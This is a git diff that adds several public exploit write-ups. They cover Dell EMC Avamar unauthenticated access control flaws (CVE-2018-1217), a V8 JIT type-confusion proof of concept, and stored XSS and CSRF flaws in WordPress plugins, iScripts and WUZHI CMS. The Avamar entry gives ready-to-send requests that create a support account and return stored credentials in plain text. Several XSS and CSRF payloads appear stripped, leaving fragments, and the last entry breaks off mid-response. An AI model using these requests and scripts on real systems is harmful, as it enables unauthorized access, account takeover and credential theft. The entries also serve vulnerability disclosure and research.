diff --git a/exploits/linux/webapps/44441.txt b/exploits/linux/webapps/44441.txt new file mode 100644 index 000000000..763a193da --- /dev/null +++ b/exploits/linux/webapps/44441.txt @@ -0,0 +1,143 @@ +# Exploit Title: [Dell EMC Avamar and Integrated Data Protection Appliance Installation Manager Missing Access Control Vulnerability (DSA-2018-025)] +# Date: [24/11/2017] +# Exploit Author: [SlidingWindow] +# Vendor Homepage: [https://store.Dell EMC.com/en-us/AVAMAR-PRODUCTS/Dell-DELL EMC-Avamar-Virtual-Edition-Data-Protection-Software/p/DELL EMC-Avamar-Virtual-Edition] +# Version: [Dell EMC Avamar Server 7.3.1 , Dell EMC Avamar Server 7.4.1, Dell EMC Avamar Server 7.5.0, Dell EMC Integrated Data Protection Appliance 2.0, Dell EMC Integrated Data Protection Appliance 2.1] +# Tested on: [Dell EMC Avamar Virtual Edition version 7.5.0.183] +# CVE : [CVE-2018-1217] + +================== +#Product:- +================== +EMC Avamar Virtual Edition is great for enterprise backup data protection for small and medium sized offices. EMC Avamar Virtual Edition is optimized for backup and recovery of virtual and physical servers,enterprise applications,remote offices,and desktops or laptops. + +================== +#Vulnerability:- +================== +Dell EMC Avamar and Integrated Data Protection Appliance Installation Manager Missing Access Control Vulnerability (DSA-2018-025) + +======================== +#Vulnerability Details:- +======================== + +===================================================================================================================================================== +1. Missing functional level access control allows an unauthenticated user to add DELL EMC Support Account to the Installation Manager (CVE-2018-1217) +===================================================================================================================================================== + +DELL EMC Avamar fails to restrict access to Configuration section that let Administrators set up Installation Manager configurations, or check for new packages from the Online Support site. An unauthenticated, remote attacker could add an Online Support Account for DELL EMC without any user interaction. + +#Proof-Of-Concept: +------------------ +1. Send following request to the target: + +POST /avi/avigui/avigwt HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 +Accept: */* +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Content-Type: text/x-gwt-rpc; charset=utf-8 +X-GWT-Permutation: 8EGHBE4312AFBC12325324123DF4545A +X-GWT-Module-Base: https:///avi/avigui/ +Referer: https:///avi/avigui.html +Content-Length: 452 +Connection: close + +7|0|7|https:///avi/avigui/|60AF6BC6976F9B1F05AC454813F5324D|com.avamar.avinstaller.gwt.shared.AvinstallerService|saveLDLSConfig|java.lang.String/2004016611||{"proxyHost":null, "proxyPort":0, "useProxyAuthentication":false, "proxyUsername":null, "proxyPassword":null, "disableInternetAccess":false, "proxyEnable":false, "emcsupportUsername":"hacker", "emcsupportPassword":"hacked3", "disableLDLS":false}|1|2|3|4|3|5|5|5|6|0|7| + +2. Log into Avamar Installation Manager and navigate to Configuration tab to make sure that the user 'hacker' was added successfully. + + +========================================================================================================================================================= +2. Missing functional level access control allows an unauthenticated user to retrieve DELL EMC Support Account Credentials in Plain Text (CVE-2018-1217) +========================================================================================================================================================= + +DELL EMC Avamar fails to restrict access to Configuration section that let Administrators set up Installation Manager configurations, or check for new packages from the Online Support site. An unauthenticated, remote attacker could retrieve Online Support Account password in plain text. + +#Proof-Of-Concept: +------------------ +1. Send following request to the target: + +POST /avi/avigui/avigwt HTTP/1.1 +Host: +Connection: Keep-Alive +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 +Accept: */* +Content-Type: text/x-gwt-rpc; charset=utf-8 +X-GWT-Permutation: 3AF662C052F0EB9D3D51649D2293F6EC +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.5 +DNT: 1 +Content-Length: 192 + + +7|0|6|https:///avi/avigui/|60AF6BC6976F9B1F05AC454813F5324D|com.avamar.avinstaller.gwt.shared.AvinstallerService|getLDLSConfig|java.lang.String/2004016611||1|2|3|4|2|5|5|6|0| + +2. Server returns credentials in plain text: + +HTTP/1.1 200 OK +Date: Fri, 17 Nov 2017 10:46:31 GMT +Server: Jetty(9.0.6.v20130930) +Content-Type: application/json; charset=utf-8 +Content-Disposition: attachment +Content-Length: 275 +Connection: close + +//OK[1,["{\"proxyHost\":null,\"proxyPort\":0,\"useProxyAuthentication\":false,\"proxyUsername\":\"\",\"proxyPassword\":\"\",\"disableInternetAccess\":false,\"proxyEnable\":false,\"emcsupportUsername\":\"hacker\",\"emcsupportPassword\":\"hacked3\",\"disableLDLS\":false}"],0,7] + + +========================================================================================================================================================= +3. Improper validation of ëDELL EMC Customer Support passcodeí allows an authenticated user to unlock DELL EMC Support Account and download verbose logs +========================================================================================================================================================= + +DELL EMC Avamar fails to validate ëDELL EMC Customer Support passcodeí properly allowing an authenticated user to unlock the support account and view/download verbose logs. However, according to vendor, this one seems to be a vulnerability but it's an ambuious functionality instead. + +#Proof-Of-Concept: +------------------ +1. Try to unlock the support account with an invalid password and you get error 'Customer Support Access Denied': +2. Now send the same request again (with invalid password) and tamper the server response: + +Request: +--------- +POST /avi/avigui/avigwt HTTP/1.1 +Host: +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 +Accept: */* +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Content-Type: text/x-gwt-rpc; charset=utf-8 +X-GWT-Permutation: 3AF662C052F0EB9D3D51649D2293F6EC +X-GWT-Module-Base: https:///avi/avigui/ +Referer: https:///avi/avigui.html +Content-Length: 202 +Cookie: supo=x; JSESSIONID=9tt4unkdjjilbo072x4nji2y +Connection: close + +7|0|7|https:///avi/avigui/|60AF6BC6976F9B1F05AC454813F5324D|com.avamar.avinstaller.gwt.shared.AvinstallerService|supportLogin|java.lang.String/2004016611||1|2|3|4|3|5|5|5|6|0|7| + + +Tampered response: +-------------------- +HTTP/1.1 200 OK +Date: Fri, 24Nov 2017 07:57:25 GMT +Server: Jetty(9.0.6.v20130930) +X-Frame-Options: SAMEORIGIN +Content-Type: application/json; charset=utf-8 +Content-Disposition: attachment +Content-Length: 21 +Connection: close + +//OK[1,["true"],0,7] + +3. This unlocks the support account and enabled the 'Log' download button. + + +=================================== +#Vulnerability Disclosure Timeline: +=================================== + +11/2017: First email to disclose the vulnerability to EMC Security Response Team. +12/2017: Vendor confirmed vulnerability#1 and vulnerability#3, and discarded vulnerability#3 stating that this is an ambigious functionaliy and not a vulnerability. +12/2017: Vendor confirmed that the fix will be released in January 2018. +01/2018: Vendor delayed the fix release stating that the Dell EMC IDPA is also vulnerable.0 +04/2018: Vendor assigned CVE-2018-1217 and pubished the advisory 'DSA-2018-025: Dell EMC Avamar and Integrated Data Protection Appliance Installation Manager Missing Access Control Vulnerability': http://seclists.org/fulldisclosure/2018/Apr/14 \ No newline at end of file diff --git a/exploits/multiple/dos/44442.js b/exploits/multiple/dos/44442.js new file mode 100644 index 000000000..f0d519e14 --- /dev/null +++ b/exploits/multiple/dos/44442.js @@ -0,0 +1,73 @@ +/* +I think this commit has introduced the bug: https://chromium.googlesource.com/v8/v8.git/+/9884bc5dee488bf206655f07b8a487afef4ded9b + +Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) { +... + if (object_maps.contains(ZoneHandleSet(source_map))) { + object_maps.remove(source_map, zone()); + object_maps.insert(target_map, zone()); +- AliasStateInfo alias_info(state, object, source_map); +- state = state->KillMaps(alias_info, zone()); +- state = state->AddMaps(object, object_maps, zone()); ++ state = state->SetMaps(object, object_maps, zone()); + } +... +} + +I think the "state->KillMaps(alias_info, zone());" was accidentally removed. This lack may lead CheckMap instructions to be removed incorrectly. + +A PoC demonstrating type confusion: +*/ + +function opt(a, b) { + b[0] = 0; + + a.length; + + // TransitionElementsKind + for (let i = 0; i < 1; i++) + a[0] = 0; + + // CheckMap removed, type confusion + b[0] = 9.431092e-317; // 0x1234567 +} + +let arr1 = new Array(1); +arr1[0] = 'a'; +opt(arr1, [0]); + +let arr2 = [0.1]; +opt(arr2, arr2); + +%OptimizeFunctionOnNextCall(opt); + +opt(arr2, arr2); +arr2[0].x // access 0x1234566 + +Without natives syntax: +function opt(a, b) { + b[0] = 0; + + a.length; + + // TransitionElementsKind + for (let i = 0; i < 1; i++) + a[0] = 0; + + b[0] = 9.431092e-317; // 0x1234567 + + // Force optimization + for (let i = 0; i < 10000000; i++) { + + } +} + +let arr1 = new Array(1); +arr1[0] = 'a'; +opt(arr1, [0]); + +let arr2 = [0.1]; +opt(arr2, arr2); + +opt(arr2, arr2); +arr2[0].x // access 0x1234566 \ No newline at end of file diff --git a/exploits/php/webapps/44436.txt b/exploits/php/webapps/44436.txt new file mode 100644 index 000000000..37292e999 --- /dev/null +++ b/exploits/php/webapps/44436.txt @@ -0,0 +1,31 @@ +# Exploit Title: iScripts Easycreate 3.2.1 - Stored Cross-Site Scripting +# Date: 02/04/2018 +# Exploit Author: ManhNho +# Vendor Homepage: https://www.iscripts.com +# Demo Page: https://www.demo.iscripts.com/easycreate/demo/ +# Version: 3.2.1 +# Tested on: Windows 10 +# Category: Webapps +# CVE: CVE-2018-9236 +# CVE: CVE-2018-9237 + +1. Description +==================== +iScripts EasyCreate 3.2.1 has Stored Cross-Site Scripting in the "Site Description" and "Site Title" fields. + +2. PoC +==================== +1. from "user section", access to "dashboard" and select "Created from saved items" with edit option +2. In "edit site" action, Inject "> to "Site Description" field +3. Save and change!! refresh and we have alert pop up! + +3. PoC +==================== +1. from "user section", access to "dashboard" and select "Created from saved items" with edit option +2. In "edit site" action, Inject "> to "Site title" field +3. Save and change! refresh and we have alert pop up! + +4. References +==================== +http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-9237 +http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-9236 \ No newline at end of file diff --git a/exploits/php/webapps/44437.txt b/exploits/php/webapps/44437.txt new file mode 100644 index 000000000..5876fb8c3 --- /dev/null +++ b/exploits/php/webapps/44437.txt @@ -0,0 +1,44 @@ +# Exploit Title : Activity Log Wordpress Plugin Stored Cross Site Scripting (XSS) +# Date: 25-02-2018 +# Exploit Author : Stefan Broeder +# Vendor Homepage: https://pojo.me +# Software Link: https://wordpress.org/plugins/aryo-activity-log/ +# Version: 2.4.0 +# CVE : CVE-2018-8729 +# Category : webapps + +Description +=========== +Activity Log is a WordPress plugin which tracks site activity. It has more than 70.000 active installations. Version 2.4.0 (and possibly the previous ones) are affected by several Stored XSS vulnerabilities. + +Vulnerable part of code +======================= +Storing the payload: +File: aryo-activity-log/hooks/class-aal-hook-attachment.php:14. The log entry that is stored contains the result of get_the_title($post->ID), which can include HTML and is not sanitized by WordPress. +File: aryo-activity-log/hooks/class-aal-hook-comments.php:14. The log entry that is stored contains the result of get_the_title($comment->comment_post_ID), which can include HTML and is not sanitized by WordPress. +File: aryo-activity-log/hooks/class-aal-hook-posts.php:7. The log entry that is stored contains the result of $title = get_the_title($post), which can include HTML and is not sanitized by WordPress. + +Displaying the payload: +File: aryo-activity-log/classes/class-aal-activity-log-list-table.php:209. $item->object_name is displayed without sanitization and can contain HTML tags. + +Impact +====== +Arbitrary JavaScript code can be run on browser side if a user is able to create a post or upload an attachment. + +Exploitation +============ +To successfully exploit this vulnerability, an attacker would have to perform any of the following: +- Create/edit/draft/publish/trash/untrash a post with JavaScript in the title +- Create/edit/trash/untrash/mark_as_spam/unmark_as_spam a comment on a post with JavaScript in the title +- Add/edit/delete an attachment with JavaScript in the attachment title + +Regular website visitors will not have the capability to do any of these, however, possible threat actors might include: +- A user with the role of ‘editor’ within WordPress (non-admins which are able to create content) +- A rogue administrator among multiple administrators +- A compromised plugin + +If the payload has been injected, then it will be executed once the Activity Log is viewed. This can possibly lead to stealing of CSRF nonces and creation of new (administrator) users on the WordPress instance. + +Solution +======== +Update to 2.4.1 \ No newline at end of file diff --git a/exploits/php/webapps/44439.txt b/exploits/php/webapps/44439.txt new file mode 100644 index 000000000..d50cb20ab --- /dev/null +++ b/exploits/php/webapps/44439.txt @@ -0,0 +1,42 @@ +# Exploit Title: WUZHI CMS 4.1.0 CSRF vulnerability add admin account +# Date: 2018-04-10 +# Exploit Author: taoge +# Vendor Homepage: https://github.com/wuzhicms/wuzhicms +# Software Link: https://github.com/wuzhicms/wuzhicms +# Version: 4.1.0 +# CVE : CVE-2018-9926 + +An issue was discovered in WUZHI CMS 4.1.0.（https://github.com/wuzhicms/wuzhicms/issues/128） +There is a CSRF vulnerability that can add an admin account via index.php?m=core&f=power&v=add. +After the administrator logged in, open the csrf exp page. + + + + + \ No newline at end of file diff --git a/exploits/php/webapps/44440.txt b/exploits/php/webapps/44440.txt new file mode 100644 index 000000000..d82236c12 --- /dev/null +++ b/exploits/php/webapps/44440.txt @@ -0,0 +1,56 @@ +# Exploit Title: WUZHI CMS 4.1.0 CSRF vulnerability add user account +# Date: 2018-04-10 +# Exploit Author: taoge +# Vendor Homepage: https://github.com/wuzhicms/wuzhicms +# Software Link: https://github.com/wuzhicms/wuzhicms +# Version: 4.1.0 +# CVE : CVE-2018-9927 + +An issue was discovered in WUZHI CMS 4.1.0.（https://github.com/wuzhicms/wuzhicms/issues/128） +There is a CSRF vulnerability that can add a user account via index.php?m=member&f=index&v=add. +After the administrator logged in, open the csrf exp page. + + + + + \ No newline at end of file diff --git a/exploits/php/webapps/44443.txt b/exploits/php/webapps/44443.txt new file mode 100644 index 000000000..ccbabd88c --- /dev/null +++ b/exploits/php/webapps/44443.txt @@ -0,0 +1,33 @@ +# Exploit Title: WordPress Plugin WordPress File Upload 4.3.2 - Stored XSS +# Date: 31/03/2018 +# Exploit Author: ManhNho +# Vendor Homepage: https://www.iptanus.com/ +# Software Link: https://downloads.wordpress.org/plugin/wp-file-upload.zip +# Version: 4.3.2 +# Tested on: CentOS 6.5 +# CVE : CVE-2018-9172 +# Category : Webapps + +1. Description +=========== +WordPress File Upload is a WordPress plugin with more than 20.000 active +installations. +Version 4.3.2 (and possibly previous versions) are affected by a Stored XSS +vulnerability in the admin panel ,related to the "Uploader Instances" +functionality. + +2. Proof of Concept +=========== + +1. Login to admin panel +2. Access to Wordpress File Upload Control Panel. In Uploader Instances +function, choose and edit created Instance +3. In Plugin ID field, inject XSS pattern such as: + and click Update button +4. Access to Pages/Posts contain upload option, we got alert ManhNho + +3. References +=========== +https://www.iptanus.com/new-version-4-3-3-of-wordpress-file-upload-plugin/ +https://wordpress.org/plugins/wp-file-upload/#developers +https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9172 \ No newline at end of file diff --git a/exploits/php/webapps/44444.txt b/exploits/php/webapps/44444.txt new file mode 100644 index 000000000..844a9f00c --- /dev/null +++ b/exploits/php/webapps/44444.txt @@ -0,0 +1,107 @@ +# Exploit Title: WordPress Plugin WordPress File Upload 4.3.3 - Stored XSS +# Date: 06/04/2018 +# Exploit Author: ManhNho +# Vendor Homepage: https://www.iptanus.com/ +# Software Link: https://downloads.wordpress.org/plugin/wp-file-upload.zip +# Version: 4.3.3 +# Tested on: Windows 7 / Cent OS 6.5 +# CVE : CVE-2018-9844 +# Category : Webapps + +Description +=========== +WordPress File Upload is a WordPress plugin with more than 20.000 active +installations. +Version 4.3.3 (and possibly previous versions) are affected by a Stored XSS +vulnerability in the admin panel ,related to the "Edit_Setting" +functionality. + + +PoC +=============== +Request: + +POST /wp-admin/options-general.php?page=wordpress_file_upload&action=edit_settings +HTTP/1.1 +Host: 192.168.1.66 +User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 +Firefox/59.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 +Accept-Encoding: gzip, deflate +Referer: http://192.168.1.66/wp-admin/options-general.php?page= +wordpress_file_upload&action=plugin_settings +Content-Type: multipart/form-data; boundary=--------------------- +------27678165033834 +Content-Length: 906 +Cookie: wordpress_ce39b1fa1561a0e8d46e02ff9e65f6a0=admin%7C1523124759% +7CYpPsz6ePz7L52pKrUk6uFioJlynhadnrSuv2lKQNhJe%7Ca3c7a75afaaf9ce1db3596b8aa83 +3adeb337f313ef5156fbf93096c1af0cdbbc; wp-settings-1=libraryContent%3Dbrowse; +wp-settings-time-1=1522504284; PHPSESSID=o6smfv1u6p8rh7cu7v7gl9lm47; +wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_ +ce39b1fa1561a0e8d46e02ff9e65f6a0=admin%7C1523124759% +7CYpPsz6ePz7L52pKrUk6uFioJlynhadnrSuv2lKQNhJe%7C1993c93121805782b8bee82cd013 +6f1a6aa286d4294ed58cb6f95539acdfe5d5 +Connection: close +Upgrade-Insecure-Requests: 1 + +-----------------------------27678165033834 +Content-Disposition: form-data; name="_wpnonce" + +c9d5733e36 +-----------------------------27678165033834 +Content-Disposition: form-data; name="_wp_http_referer" + +/wp-admin/options-general.php?page=wordpress_file_upload& +action=plugin_settings +-----------------------------27678165033834 +Content-Disposition: form-data; name="action" + +edit_settings +-----------------------------27678165033834 +Content-Disposition: form-data; name="wfu_basedir" + + +-----------------------------27678165033834 +Content-Disposition: form-data; name="wfu_postmethod" + +fopen +-----------------------------27678165033834 +Content-Disposition: form-data; name="wfu_admindomain" + +siteurl +-----------------------------27678165033834 +Content-Disposition: form-data; name="submitform" + +Update +-----------------------------27678165033834-- + +Response: + +HTTP/1.1 200 OK +Date: Thu, 05 Apr 2018 18:15:01 GMT +Server: Apache/2.2.15 (CentOS) +X-Powered-By: PHP/5.3.3 +Expires: Wed, 11 Jan 1984 05:00:00 GMT +Cache-Control: no-cache, must-revalidate, max-age=0 +Pragma: no-cache +X-Frame-Options: SAMEORIGIN +Referrer-Policy: same-origin +Connection: close +Content-Type: text/html; charset=UTF-8 +Content-Length: 28623 +... + + +

Current value: